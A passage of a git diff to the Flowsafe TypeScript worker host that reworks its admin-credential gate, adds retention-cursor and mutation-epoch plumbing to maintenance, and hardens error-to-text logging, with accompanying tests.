- * The surfaces differ in exactly ONE thing, which is why it is a parameter
- * rather than a fork: what an ABSENT secret means. `/admin/execution-fence`
- * always refuses — the fence is the control that stops a deployment executing,
- * so an unauthenticated caller must never reach it. The maintenance routes
- * delegate instead when the fleet requires capability tokens, because there the
- * Durable Object verifies a signed capability and this Worker is only a relay;
- * the longer credential cap applies to that path alone, since a capability
- * token is not a shared secret.
- */
 async function authorizeAdminCredential<Env extends FlowsafeWorkerEnv>(
   request: Request,
   env: Env,
   options: {
     /** Names the surface in the config-error log and the 503 body. */
     readonly surface: string;
-    /**
-     * Whether an absent MAINTENANCE_ADMIN_SECRET delegates authentication
-     * downstream rather than refusing. The caller folds its own policy into
-     * this boolean so the gate stays about credentials only.
-     */
-    readonly delegateWhenUnconfigured: boolean;
+    readonly delegateCapability: boolean;
   },
 ): Promise<AdminCredentialDecision> {
   const { surface } = options;
@@ -775,12 +773,11 @@ async function authorizeAdminCredential<Env extends FlowsafeWorkerEnv>(
     response: json({ error: 'authentication required' }, 401),
   });
   const expected = env.MAINTENANCE_ADMIN_SECRET;
-  const delegating = expected === undefined && options.delegateWhenUnconfigured;
-  if (!delegating) {
-    if (
-      expected === undefined ||
-      !MAINTENANCE_ADMIN_SECRET_PATTERN.test(expected)
-    ) {
+  const delegating = options.delegateCapability;
+  if (expected === undefined) {
+    if (!delegating) return unavailable(`${surface} is not configured`);
+  } else {
+    if (!MAINTENANCE_ADMIN_SECRET_PATTERN.test(expected)) {
       return unavailable(`${surface} is not configured`);
     }
     if (await credentialsMatch(expected, env.DEPLOYMENT_IDENTITY_SECRET)) {
@@ -795,6 +792,7 @@ async function authorizeAdminCredential<Env extends FlowsafeWorkerEnv>(
     return unauthenticated();
   }
   if (
+    !delegating &&
     expected !== undefined &&
     !(await credentialsMatch(credential, expected))
   ) {
@@ -826,10 +824,7 @@ async function maintenanceAdminResponse<Env extends FlowsafeWorkerEnv>(
   }
   const gate = await authorizeAdminCredential(request, env, {
     surface: 'maintenance administration',
-    // An unconfigured secret is survivable HERE and only here: a fleet that
-    // requires capability tokens authenticates at the maintenance DO, which
-    // verifies a signed capability this Worker only relays.
-    delegateWhenUnconfigured: env.FLEET_MAINTENANCE_CAPABILITIES === 'required',
+    delegateCapability: env.FLEET_MAINTENANCE_CAPABILITIES === 'required',
   });
   if (!gate.authorized) return gate.response;
   const deploymentSpecDigest = env.FLEET_SPEC_DIGEST;
@@ -936,7 +931,7 @@ async function executionFenceAdminResponse<Env extends FlowsafeWorkerEnv>(
     // Unconfigured is 503, never open: the fence is the control that stops a
     // deployment executing, so an unauthenticated caller must never move it.
     // There is no capability-token relay behind this route to delegate to.
-    delegateWhenUnconfigured: false,
+    delegateCapability: false,
   });
   if (!gate.authorized) return gate.response;
   const fence = executionFenceForEnv(env);
@@ -972,13 +967,19 @@ async function executionFenceAdminResponse<Env extends FlowsafeWorkerEnv>(
       expected?: unknown;
       next?: unknown;
       proofKey?: unknown;
+      expectedMutationEpoch?: unknown;
+      expectedRevision?: unknown;
+      advanceMutationEpoch?: unknown;
     };
     const reading = await fence.transition({
       expected: assertExecutionFenceState(body.expected, 'expected'),
       next: assertExecutionFenceState(body.next, 'next'),
       ...(body.proofKey === undefined ? {} : { proofKey: body.proofKey }),
+      expectedMutationEpoch: body.expectedMutationEpoch,
+      expectedRevision: body.expectedRevision,
+      advanceMutationEpoch: body.advanceMutationEpoch,
     });
-    return json({ state: reading.state });
+    return json(executionFenceReadingPayload(reading));
   } catch (error) {
     if (error instanceof DoStatusError) {
       return json(
@@ -992,7 +993,7 @@ async function executionFenceAdminResponse<Env extends FlowsafeWorkerEnv>(
     console.error(
       JSON.stringify({
         type: 'execution-fence-admin-error',
-        reason: error instanceof Error ? error.message : String(error),
+        reason: hostErrorText(error, true),
       }),
     );
     return json({ error: 'execution fence administration failed' }, 500);
@@ -1057,7 +1058,7 @@ async function inventoryAdminResponse<Env extends FlowsafeWorkerEnv>(
     // Unconfigured is 503, never open: this read enumerates every outstanding
     // run, approval, and reservation on the deployment. There is no capability
     // relay behind it to delegate to, either.
-    delegateWhenUnconfigured: false,
+    delegateCapability: false,
   });
   if (!gate.authorized) return gate.response;
   try {
@@ -1104,7 +1105,7 @@ async function inventoryAdminResponse<Env extends FlowsafeWorkerEnv>(
     console.error(
       JSON.stringify({
         type: 'inventory-admin-error',
-        reason: error instanceof Error ? error.message : String(error),
+        reason: hostErrorText(error, true),
       }),
     );
     return json({ error: 'deployment inventory failed' }, 500);
@@ -1114,6 +1115,8 @@ async function inventoryAdminResponse<Env extends FlowsafeWorkerEnv>(
 export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
   config: FlowsafeWorkerConfig<Env>,
 ): FlowsafeWorker<Env> {
+  const epochSource = config.mutationEpoch;
+  if (typeof epochSource !== 'function') normalizeMutationEpoch(epochSource);
   const storageTablePrefix = validateTablePrefix(
     config.storageTablePrefix,
     'storageTablePrefix',
@@ -1126,8 +1129,10 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
     notify: ApprovalNotificationSink | undefined,
     selfDecision: SelfDecisionPolicy,
     stream: ApprovalStreamSink | undefined,
+    mutationEpoch: number | undefined,
   ): ActorResolver => {
     const base = createActorResolver({
+      mutationEpoch,
       authenticate: bearerActorAuthenticator(config.buildVerifier(env)),
       storeFactory: approvalStoreFactoryFor(env.DB, storageTablePrefix),
       deploymentTag: env.DEPLOYMENT_TENANT,
@@ -1135,6 +1140,7 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
         buildConfiguredApprovalService(config, env, topology, {
           store,
           executionFence: executionFenceForEnv(env),
+          workflowTablePrefix: (storageTablePrefix ?? '').toLowerCase(),
           waitUntil,
           notify,
           stream,
@@ -1176,10 +1182,11 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
   async function runPurgeMaintenance(
     env: Env,
     trigger: string,
+    context: MaintenancePurgeDutyContext,
   ): Promise<MaintenanceOutcome> {
     const failures: string[] = [];
     const recordFailure = (surface: string, error: unknown): void => {
-      const failure = String(error);
+      const failure = hostErrorText(error).slice(0, 256);
       failures.push(`${surface}: ${failure}`);
       console.error(
         JSON.stringify({
@@ -1192,12 +1199,34 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
     };
     let purged: number | undefined;
     try {
+      const advanceCursor = context.advanceRetentionCursor;
+      const db = env.DB;
+      const prepare = db.prepare;
+      const batch = db.batch;
+      if (typeof prepare !== 'function' || typeof batch !== 'function') {
+        throw new Error(
+          'retention purge requires database.prepare() and batch()',
+        );
+      }
+      const retentionDb = {
+        prepare: prepare.bind(db),
+        batch: batch.bind(db),
+      };
+      const storedCursor = parseRunRetentionCursor(context.retentionCursor);
+      const cursor =
+        storedCursor?.tablePrefix ===
+          (storageTablePrefix?.toLowerCase() ?? '') &&
+        storedCursor.startIdempotencyTable === START_IDEMPOTENCY_TABLE
+          ? storedCursor
+          : undefined;
       const artifactStore = config.artifactStore?.(env);
       // The resource registry is lazy like Mastra's snapshot table. Retention
       // may be the first resource-aware operation in a fresh deployment, so
       // initialize it before asking the atomic purge to reference it.
-      await createResourceOwnershipSchema(env.DB);
-      purged = await purgeExpiredWorkflowRuns(env.DB, {
+      await createResourceOwnershipSchema(retentionDb);
+      purged = await purgeExpiredWorkflowRuns(retentionDb, {
+        cursor,
+        advanceCursor,
         // allowZero: RUN_RETENTION_DAYS=0 means "purge terminal runs now".
         ttlMs:
           numberVar(env.RUN_RETENTION_DAYS, 30, 'RUN_RETENTION_DAYS', {
@@ -1207,21 +1236,9 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
           60 *
           60 *
           1000,
-        // Pairs each expired run's R2 artifacts with its snapshot-row deletion
-        // (artifacts BEFORE the row — the row is the only record of their keys).
-        // Undefined on hosts that wire no R2, so the purge stays byte-identical.
         artifactStore,
         tablePrefix: storageTablePrefix,
-        // Snapshot + owner release share one D1 transaction, so retention
-        // cannot leave unbounded run-ownership tombstones or expose a live row
-        // without its authorization record.
         resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
-        // Start reservations join the same transaction, for the same reason:
-        // an idempotency key must never be reaped while the run it names is
-        // still readable, or the next retry of that key would start a second
-        // run beside the live one. The horizon defaults to run retention —
-        // START_IDEMPOTENCY_RETENTION_DAYS is what a host sets when its callers
-        // retry for longer than it keeps run summaries.
         startIdempotencyTable: START_IDEMPOTENCY_TABLE,
         ...(env.START_IDEMPOTENCY_RETENTION_DAYS === undefined
           ? {}
@@ -1242,9 +1259,6 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
     } catch (error) {
       recordFailure('retention-purge', error);
     }
-    // Own containment (inside runApprovalRetentionPurge), same isolation as
-    // the snapshot purge above: a failure in any one purge duty must never
-    // stop the others.
     const approvalPurge = await runApprovalRetentionPurge({
       store: approvalStoreFactoryFor(env.DB, storageTablePrefix).store(),
       retentionDays: env.APPROVAL_RETENTION_DAYS,
@@ -1254,11 +1268,6 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
       failures.push(`approval-retention-purge: ${approvalPurge.error}`);
     }
     const approvalsPurged = approvalPurge.ok ? approvalPurge.value : undefined;
-    // Agent-memory thread TTL, opt-in.
-    // Its OWN try/catch, like every sibling duty above and below: isolating one
-    // loop while a sibling shares its failure is a defect this codebase has
-    // already shipped once — a wedged thread purge must cost the run-snapshot
-    // purge, the approval purge, and the extra duties nothing.
     let threadsPurged: number | undefined;
     let threadMessagesPurged: number | undefined;
     // optionalNumberVar, not numberVar: this var GATES the duty rather than
@@ -1283,9 +1292,6 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
         recordFailure('thread-retention-purge', error);
       }
     }
-    // Background-task TTL cleanup (opt-in). Its OWN try/catch, like
-    // every sibling duty: a wedged background-task purge must cost the
-    // run-snapshot, approval, and thread purges nothing.
     let backgroundTasksPurged: PurgeExpiredBackgroundTasksResult | undefined;
     if (config.backgroundTasks) {
       try {
@@ -1298,8 +1304,6 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
         recordFailure('background-task-purge', error);
       }
     }
-    // Notification TTL cleanup (opt-in). Its OWN try/catch, like every sibling
-    // duty. optionalNumberVar (GATES the duty; unset/garbage => do not delete).
     let notificationsPurged: number | undefined;
     const notificationRetentionDays = optionalNumberVar(
       env.NOTIFICATION_RETENTION_DAYS,
@@ -1316,7 +1320,6 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
         recordFailure('notification-purge', error);
       }
     }
-    // Thread-state TTL cleanup (opt-in). Same isolation + opt-in posture.
     let threadStatePurged: number | undefined;
     const threadStateRetentionDays = optionalNumberVar(
       env.THREAD_STATE_RETENTION_DAYS,
@@ -1333,9 +1336,6 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
         recordFailure('thread-state-purge', error);
       }
     }
-    // Schedule-trigger history TTL cleanup (opt-in). Same isolation + opt-in
-    // posture. Only the fire HISTORY expires; schedule config rows are reaped
-    // only at deployment teardown.
     let scheduleTriggersPurged: number | undefined;
     const scheduleTriggerRetentionDays = optionalNumberVar(
       env.SCHEDULE_TRIGGER_RETENTION_DAYS,
@@ -1410,7 +1410,7 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
       console.log(JSON.stringify({ type: 'schedule-tick', trigger, result }));
       return { ok: true, value: undefined };
     } catch (error) {
-      const failure = String(error);
+      const failure = hostErrorText(error);
       console.error(
         JSON.stringify({
           type: 'schedule-tick-error',
@@ -1465,7 +1465,7 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
       );
       return { ok: true, value: undefined };
     } catch (error) {
-      const failure = String(error);
+      const failure = hostErrorText(error);
       console.error(
         JSON.stringify({
           type: 'deadline-sweep-error',
@@ -1480,6 +1480,9 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
   return {
     async fetch(request, env, ctx) {
       try {
+        const mutationEpoch = normalizeMutationEpoch(
+          typeof epochSource === 'function' ? epochSource(env) : epochSource,
+        );
         await ensureDeploymentIdentityBindings(env);
         await validateFleetChannelTopology(env);
         const url = new URL(request.url);
@@ -1532,8 +1535,7 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
                 console.error(
                   JSON.stringify({
                     type: 'stream-publish-error',
-                    reason:
-                      error instanceof Error ? error.message : String(error),
+                    reason: hostErrorText(error, true),
                   }),
                 ),
               ),
@@ -1546,6 +1548,7 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
           notify,
           selfDecision,
           streamSink,
+          mutationEpoch,
         );
 
         if (config.preRoutes) {
@@ -1630,11 +1633,12 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
           startIdempotency: {
             store: startIdempotencyForEnv(env),
             live: topology.startLiveness,
+            persistedStart: topology.persistedStart,
             executionFence: executionFenceForEnv(env),
           },
           beforeStart: beforeStart
-            ? (context, workflowId, inputData) =>
-                beforeStart(context, env, workflowId, inputData)
+            ? (context, workflowId, inputData, requestContext) =>
+                beforeStart(context, env, workflowId, inputData, requestContext)
             : undefined,
           beforeResume: beforeResume
             ? (context, workflowId, runId, body) =>
@@ -1655,11 +1659,17 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
           console.error(
             JSON.stringify({
               type: 'deployment-identity-error',
-              reason: error.message,
+              reason: hostErrorText(error, true),
             }),
           );
           return json({ error: 'deployment unavailable' }, 503);
         }
+        if (error instanceof InvalidMutationEpochError) {
+          return json(
+            { error: error.message, reason: error.reason },
+            error.status,
+          );
+        }
         // Backstop: a mounted router (or any handler fault) that THROWS before
         // returning a Response — e.g. a future unguarded path decode — is
         // contained as a generic 500 here rather than rejecting out of fetch()
@@ -1667,14 +1677,18 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
         console.error(
           JSON.stringify({
             type: 'worker-fetch-error',
-            reason: error instanceof Error ? error.message : String(error),
+            reason: hostErrorText(error, true),
           }),
         );
         return json({ error: 'internal error' }, 500);
       }
     },
 
-    async runMaintenanceDuty(duty, env, context) {
+    async runMaintenanceDuty(
+      duty: MaintenanceDuty,
+      env: Env,
+      context?: MaintenanceDutyContext,
+    ): Promise<MaintenanceOutcome> {
       try {
         await ensureDeploymentIdentityBindings(env);
         await validateFleetChannelTopology(env);
@@ -1699,11 +1713,29 @@ export function createFlowsafeWorker<Env extends FlowsafeWorkerEnv>(
           });
         }
         if (duty === 'purge') {
-          return await runPurgeMaintenance(env, duty);
+          if (!hasRetentionCursorSeam(context)) {
+            // The same refusal the tick duty makes below for an unwired
+            // builder: the cursor seam is part of the purge's wiring, not one
+            // of its surfaces, so a host that omits it gets the misconfig
+            // named rather than its remaining surfaces purged and the run
+            // retention reported as failed. MaintenancePurgeDutyContext
+            // requires the seam; this is the check for hosts types do not
+            // reach.
+            console.error(
+              JSON.stringify({
+                type: 'config-error',
+                var: 'maintenance.purge.advanceRetentionCursor',
+                trigger: duty,
+                reason: RETENTION_CURSOR_SEAM_REASON,
+              }),
+            );
+            return { ok: false, error: RETENTION_CURSOR_SEAM_REASON };
+          }
+          return await runPurgeMaintenance(env, duty, context);
         }
         return await runScheduleTickDuty(env, duty);
       } catch (error) {
-        const failure = String(error);
+        const failure = hostErrorText(error);
         console.error(
           JSON.stringify({
             type: 'maintenance-error',
@@ -1722,6 +1754,8 @@ const MAINTENANCE_HEALTH_KEY = 'flowsafe:maintenance-health:v1';
 const MAINTENANCE_NONCES_KEY = 'flowsafe:maintenance-nonces:v1';
 const MAINTENANCE_DEADLINE_CURSOR_KEY =
   'flowsafe:maintenance-deadline-cursor:v1';
+const MAINTENANCE_RUN_RETENTION_CURSOR_KEY =
+  'flowsafe:maintenance-run-retention-cursor:v1';
 const DUTY_ORDER = ['deadline', 'sweep', 'purge', 'tick'] as const;
 
 export type MaintenanceDurableObjectConstructor<Env extends FlowsafeWorkerEnv> =
@@ -1900,6 +1934,12 @@ export function createFlowsafeMaintenanceDurableObject<
         });
       }
       if (!capability) return undefined;
+      if (
+        this.#env.FLEET_RESOURCE_ROLE === 'platform-catalog' &&
+        (capability.scriptName !== this.#env.FLEET_DEPLOYMENT_SCRIPT ||
+          capability.specDigest !== this.#env.FLEET_SPEC_DIGEST)
+      )
+        return undefined;
       if (operation === 'maintenance-status') return capability;
       const nowSeconds = Math.floor(Date.now() / 1_000);
       const consumed = await this.#state.storage.transaction(
@@ -2003,7 +2043,7 @@ export function createFlowsafeMaintenanceDurableObject<
         console.error(
           JSON.stringify({
             type: 'maintenance-do-error',
-            reason: error instanceof Error ? error.message : String(error),
+            reason: hostErrorText(error, true),
           }),
         );
         return json({ error: 'internal error' }, 500);
@@ -2040,20 +2080,39 @@ export function createFlowsafeMaintenanceDurableObject<
         hasDueDuty(health, intervals, now) ? now : followUpAt,
       );
 
-      let context: MaintenanceDutyContext | undefined;
+      // Each duty carries the cursor pair it owns, so the call sits inside the
+      // branch that builds it: the purge seam is required by its context type,
+      // which a single call over the whole duty union cannot satisfy.
+      let outcome: MaintenanceOutcome;
       if (duty === 'deadline') {
         const deadlineCursor = await this.#state.storage.get<RunDeadlineCursor>(
           MAINTENANCE_DEADLINE_CURSOR_KEY,
         );
-        context = {
+        outcome = await worker.runMaintenanceDuty(duty, this.#env, {
           ...(deadlineCursor ? { deadlineCursor } : {}),
           advanceDeadlineCursor: (cursor) =>
             this.#state.storage.transaction(async (transaction) => {
               await transaction.put(MAINTENANCE_DEADLINE_CURSOR_KEY, cursor);
             }),
-        };
+        });
+      } else if (duty === 'purge') {
+        const retentionCursor =
+          await this.#state.storage.get<RunRetentionCursor>(
+            MAINTENANCE_RUN_RETENTION_CURSOR_KEY,
+          );
+        outcome = await worker.runMaintenanceDuty(duty, this.#env, {
+          ...(retentionCursor === undefined ? {} : { retentionCursor }),
+          advanceRetentionCursor: (cursor) =>
+            this.#state.storage.transaction(async (transaction) => {
+              await transaction.put(
+                MAINTENANCE_RUN_RETENTION_CURSOR_KEY,
+                cursor,
+              );
+            }),
+        });
+      } else {
+        outcome = await worker.runMaintenanceDuty(duty, this.#env);
       }
-      const outcome = await worker.runMaintenanceDuty(duty, this.#env, context);
       await this.#recordOutcome(duty, Date.now(), outcome);
     }
   };
diff --git a/packages/flowsafe/src/host-kit/host-approval-service.test.ts b/packages/flowsafe/src/host-kit/host-approval-service.test.ts
index 5c45c744..379bbe3d 100644
--- a/packages/flowsafe/src/host-kit/host-approval-service.test.ts
+++ b/packages/flowsafe/src/host-kit/host-approval-service.test.ts
@@ -9,9 +9,12 @@ import {
   ApprovalAuthzError,
   InMemoryApprovalStoreFactory,
 } from '../approval-api/index.js';
+import type { ExecutionFenceStore } from '../do-runner/execution-fence.js';
 import {
   buildHostApprovalService,
+  maintenancePrincipal,
   runApprovalRetentionPurge,
+  runSlaSweepMaintenance,
 } from './host-approval-service.js';
 
 const OPERATOR: ApprovalActor = {
@@ -25,21 +28,52 @@ describe('runApprovalRetentionPurge', () => {
     vi.restoreAllMocks();
   });
 
-  it('contains the 1e303 env overflow: numberVar accepts it, the ms multiply overflows to Infinity, and the purge TypeError is logged — never thrown (QA audit 2026-07-11)', async () => {
-    // #given — "1e303" passes numberVar's own validation (finite, positive)
-    // but 1e303 * 86_400_000 overflows to Infinity before reaching
-    // purgeExpiredApprovals, whose finiteness guard throws
+  it.each([
+    ['null-prototype rejection', Object.create(null), 'unreadable error'],
+    [
+      'throwing coercion',
+      {
+        [Symbol.toPrimitive]() {
+          throw new Error('conversion failed');
+        },
+      },
+      'unreadable error',
+    ],
+    ['large diagnostic', 'x'.repeat(300), 'x'.repeat(256)],
+  ])('contains a %s with a bounded failure outcome', async (_name, failure, expected) => {
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    const store = new InMemoryApprovalStoreFactory().store();
+    vi.spyOn(store, 'purgeExpired').mockRejectedValue(failure);
+
+    await expect(
+      runApprovalRetentionPurge({
+        store,
+        retentionDays: undefined,
+        trigger: 'purge',
+      }),
+    ).resolves.toEqual({
+      ok: false,
+      error: expected,
+    });
+    expect(logged).toHaveBeenCalledOnce();
+    expect(JSON.parse(logged.mock.calls[0]?.[0] as string)).toEqual({
+      type: 'maintenance-error',
+      surface: 'approval-retention-purge',
+      trigger: 'purge',
+      error: expected,
+    });
+  });
+
+  it('reports retention-duration overflow as a failed purge', async () => {
     const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
     const store = new InMemoryApprovalStoreFactory().store();
 
-    // #when
     const outcome = await runApprovalRetentionPurge({
       store,
       retentionDays: '1e303',
       trigger: 'purge',
     });
 
-    // #then — contained: resolves undefined, one maintenance-error line
     expect(outcome).toEqual({
       ok: false,
       error: expect.stringContaining('TypeError'),
@@ -57,7 +91,6 @@ describe('runApprovalRetentionPurge', () => {
   });
 
   it('purges through the real store on a sane retentionDays value', async () => {
-    // #given — one decided record older than a 0-day retention window
     const factory = new InMemoryApprovalStoreFactory();
     const store = factory.store();
     await store.create({
@@ -73,18 +106,153 @@ describe('runApprovalRetentionPurge', () => {
       updatedAt: new Date(0).toISOString(),
     });
 
-    // #when — APPROVAL_RETENTION_DAYS=0: purge decided approvals now
     const outcome = await runApprovalRetentionPurge({
       store: factory.store(),
       retentionDays: '0',
       trigger: 'purge',
     });
 
-    // #then
     expect(outcome).toEqual({ ok: true, value: 1 });
   });
 });
 
+describe('runSlaSweepMaintenance', () => {
+  afterEach(() => vi.restoreAllMocks());
+
+  async function overdueApprovals() {
+    const store = new InMemoryApprovalStoreFactory().store();
+    const past = new Date(0).toISOString();
+    for (const id of ['apr-first', 'apr-second']) {
+      await store.create({
+        id,
+        workflowId: 'wf',
+        runId: id,
+        title: 'overdue approval',
+        connectors: [],
+        priority: 'normal',
+        status: 'pending',
+        createdAt: past,
+        updatedAt: past,
+        slaDeadlineAt: past,
+      });
+    }
+    return store;
+  }
+
+  describe.each([
+    'synchronous throw',
+    'asynchronous rejection',
+  ])('%s', (mode) => {
+    it.each([
+      {
+        name: 'ordinary Error',
+        failure: () => new Error('hub unavailable'),
+        diagnostic: 'hub unavailable',
+        outcome: 'Error: hub unavailable',
+      },
+      {
+        name: 'throwing message getter',
+        failure: () =>
+          Object.defineProperty(new Error(), 'message', {
+            get() {
+              throw new Error('message getter failed');
+            },
+          }),
+        diagnostic: 'unreadable error',
+        outcome: 'unreadable error',
+      },
+      {
+        name: 'BigInt message',
+        failure: () =>
+          Object.defineProperty(new Error(), 'message', { value: 1n }),
+        diagnostic: '1',
+        outcome: 'Error: 1',
+      },
+      {
+        name: 'null-prototype rejection',
+        failure: () => Object.create(null),
+        diagnostic: 'unreadable error',
+        outcome: 'unreadable error',
+      },
+    ])('contains a stream failure with $name after durable escalation', async ({
+      failure,
+      diagnostic,
+      outcome,
+    }) => {
+      const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+      vi.spyOn(console, 'log').mockImplementation(() => {});
+      const store = await overdueApprovals();
+      const stream = vi.fn(() => {
+        if (mode === 'synchronous throw') throw failure();
+        return Promise.reject(failure());
+      });
+
+      await expect(
+        runSlaSweepMaintenance({
+          store,
+          systemPrincipal: maintenancePrincipal('maintenance'),
+          trigger: 'sweep',
+          stream,
+        }),
+      ).resolves.toEqual({
+        ok: false,
+        error: `stream-publish: ${outcome}; stream-publish: ${outcome}`,
+      });
+
+      expect(stream).toHaveBeenCalledTimes(2);
+      expect((await store.get('apr-first'))?.status).toBe('escalated');
+      expect((await store.get('apr-second'))?.status).toBe('escalated');
+      expect(
+        logged.mock.calls.map(([line]) => JSON.parse(line as string)),
+      ).toEqual([
+        { type: 'stream-publish-error', reason: diagnostic },
+        { type: 'stream-publish-error', reason: diagnostic },
+      ]);
+    });
+  });
+
+  it.each([
+    'absent',
+    'synchronous',
+    'asynchronous',
+  ])('reports successful maintenance for %s stream handling', async (mode) => {
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    const store = await overdueApprovals();
+    const stream = vi.fn(() =>
+      mode === 'asynchronous' ? Promise.resolve() : undefined,
+    );
+
+    await expect(
+      runSlaSweepMaintenance({
+        store,
+        systemPrincipal: maintenancePrincipal('maintenance'),
+        trigger: 'sweep',
+        ...(mode === 'absent' ? {} : { stream }),
+      }),
+    ).resolves.toEqual({ ok: true, value: undefined });
+
+    expect(stream).toHaveBeenCalledTimes(mode === 'absent' ? 0 : 2);
+    expect((await store.get('apr-first'))?.status).toBe('escalated');
+    expect((await store.get('apr-second'))?.status).toBe('escalated');
+    expect(logged).not.toHaveBeenCalled();
+  });
+
+  it('contains an unprintable SLA-store failure as a maintenance outcome', async () => {
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    const store = new InMemoryApprovalStoreFactory().store();
+    vi.spyOn(store, 'list').mockRejectedValue(Object.create(null));
+    await expect(
+      runSlaSweepMaintenance({
+        store,
+        systemPrincipal: maintenancePrincipal('maintenance'),
+        trigger: 'sweep',
+      }),
+    ).resolves.toEqual({ ok: false, error: 'unreadable error' });
+  });
+});
+
 describe('buildHostApprovalService allowSelfDecision passthrough', () => {
   function buildService(allowSelfDecision?: SelfDecisionPolicy) {
     const store = new InMemoryApprovalStoreFactory().store();
@@ -138,3 +306,51 @@ describe('buildHostApprovalService allowSelfDecision passthrough', () => {
     ).rejects.toBeInstanceOf(ApprovalAuthzError);
   });
 });
+
+describe('FS8 D3 proof activation host approval namespace', () => {
+  it('forwards the explicit namespace to the deciding service without inferring an omitted prefix', async () => {
+    const execution = {
+      tablePrefix: 'proof_',
+      workflowId: 'wf',
+      runId: 'run',
+      startToken: 'generation',
+    };
+    const readCurrentRunExecution = vi.fn(async () => execution);
+    const fence = {
+      read: async () => ({
+        state: 'proof-only',
+        proofKey: 'key',
+        proofRunId: 'run',
+        proofExecution: execution,
+      }),
+      readCurrentRunExecution,
+    } as unknown as ExecutionFenceStore;
+    for (const workflowTablePrefix of [undefined, 'PROOF_']) {
+      const store = new InMemoryApprovalStoreFactory().store();
+      const service = buildHostApprovalService(store, {
+        systemPrincipalId: 'system',
+        executionFence: fence,
+        workflowTablePrefix,
+        resumeRun: async () => ({ runId: 'run', status: 'success' }),
+      });
+      const { record } = await service.create(
+        { workflowId: 'wf', runId: 'run', title: 'proof' },
+        OPERATOR,
+      );
+      const result = await service
+        .decide(record.id, { decision: 'approve' }, ADMIN)
+        .catch((error) => error);
+      expect((await store.get(record.id))?.status).toBe(
+        workflowTablePrefix === undefined ? 'pending' : 'approved',
+      );
+      if (workflowTablePrefix !== undefined) {
+        expect(result).toMatchObject({ record: { status: 'approved' } });
+        expect(readCurrentRunExecution).toHaveBeenCalledWith({
+          tablePrefix: 'proof_',
+          workflowId: 'wf',
+          runId: 'run',
+        });
+      }
+    }
+  });
+});
diff --git a/packages/flowsafe/src/host-kit/host-approval-service.ts b/packages/flowsafe/src/host-kit/host-approval-service.ts
index 14444612..6d6192f2 100644
--- a/packages/flowsafe/src/host-kit/host-approval-service.ts
+++ b/packages/flowsafe/src/host-kit/host-approval-service.ts
@@ -1,14 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// The host-side ApprovalService assembly and alarm-owned SLA sweep that the
-// showcase Worker and the deploy template previously carried as byte-copies:
-// the structured-log + optional-Queues audit sink, the system principal, and the
-// SoD-guarded multi-gate
-// re-queue over the host's injected resume topology. The only genuine host
-// difference — HOW a run resumes — stays injected as `resumeRun`
-// (createDoRunTopology(...).resumeRecord for DO hosts, resumeViaRuntime for
-// in-process ones). Also home to the isolate-scoped D1ApprovalStoreFactory
-// memo, which every host needs for the same reason (the DDL promise must
-// span the isolate, not one request).
 
 import type {
   ApprovalAuditEvent,
@@ -38,6 +28,17 @@ import {
 } from './approval-bridge.js';
 import { numberVar } from './env-vars.js';
 
+/** @internal Preserve diagnostics when a rejection cannot be converted to text. */
+export function hostErrorText(error: unknown, preferMessage = false): string {
+  try {
+    return String(
+      preferMessage && error instanceof Error ? error.message : error,
+    );
+  } catch {
+    return 'unreadable error';
+  }
+}
+
 /**
  * Attribution identity for alarm-owned maintenance — audit only. The sweep is TCB
  * code over the deployment store and never enters through a verifier.
@@ -121,7 +122,7 @@ export function hostAuditSink(
         console.error(
           JSON.stringify({
             type: 'audit-queue-error',
-            reason: String(error),
+            reason: hostErrorText(error),
           }),
         );
       });
@@ -193,6 +194,7 @@ export interface HostApprovalServiceOptions {
    * the wiring can happen, so the type has to make it name one.
    */
   executionFence: ExecutionFenceWiring;
+  workflowTablePrefix?: string;
 }
 
 /**
@@ -228,6 +230,7 @@ export function buildHostApprovalService(
     // erased, one layer above the gate, the distinction between a host that
     // named the opt-out and one that never held a fence at all.
     executionFence: options.executionFence,
+    workflowTablePrefix: options.workflowTablePrefix,
     resumeRun: resumeRunWithRequeue(
       options.resumeRun,
       () => service,
@@ -299,28 +302,23 @@ export async function runSlaSweepMaintenance(
           deploymentTag: options.deploymentTag,
           queue: options.queue,
           keepAlive: (send) => pendingSends.push(send),
-          onError: (error) => failures.push(`audit-queue: ${String(error)}`),
+          onError: (error) =>
+            failures.push(`audit-queue: ${hostErrorText(error)}`),
         }),
         notify: options.notify,
-        // Mirror the audit sink's keepAlive idiom: COLLECT each escalation's
-        // publish promise into pendingSends so the terminal Promise.all keeps it
-        // within the directly awaited alarm duty. The inner .catch keeps a
-        // failed fan-out from rejecting the whole Promise.all.
         stream: (event) => {
           pendingSends.push(
-            Promise.resolve(options.stream?.(event)).catch((error: unknown) => {
-              failures.push(`stream-publish: ${String(error)}`);
-              // Log a wedged maintenance fan-out (matching the fetch path's
-              // stream-publish-error) instead of swallowing it silently, while
